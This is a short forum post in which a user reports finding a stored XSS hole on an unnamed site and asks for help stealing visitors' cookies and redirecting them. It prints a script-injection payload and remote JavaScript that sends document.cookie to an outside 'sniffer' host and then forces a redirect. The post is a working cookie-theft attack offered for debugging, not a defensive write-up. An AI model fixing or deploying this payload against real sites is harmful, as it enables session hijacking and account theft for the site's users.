Xss redirect and cookies
- by user1824906
I found Active XSS on one site. I need to steal cookies and after it to make redirect on other site. This site has a non-frame protection
I tried to put "><script src='http://site.ru/1.js' /></script>"
http://site.ru/1.js contains:
img = new Image(); img.src = "http:/sniffer.com/nasdasdnu.gif?"+document.cookie;
var URL = "http://images.cards.mail.ru/11bolprivet.jpg"
var speed = 100;
function reload() {
document.location = URL
}
setTimeout("reload()", speed);
But it doesn't work=\
Any help?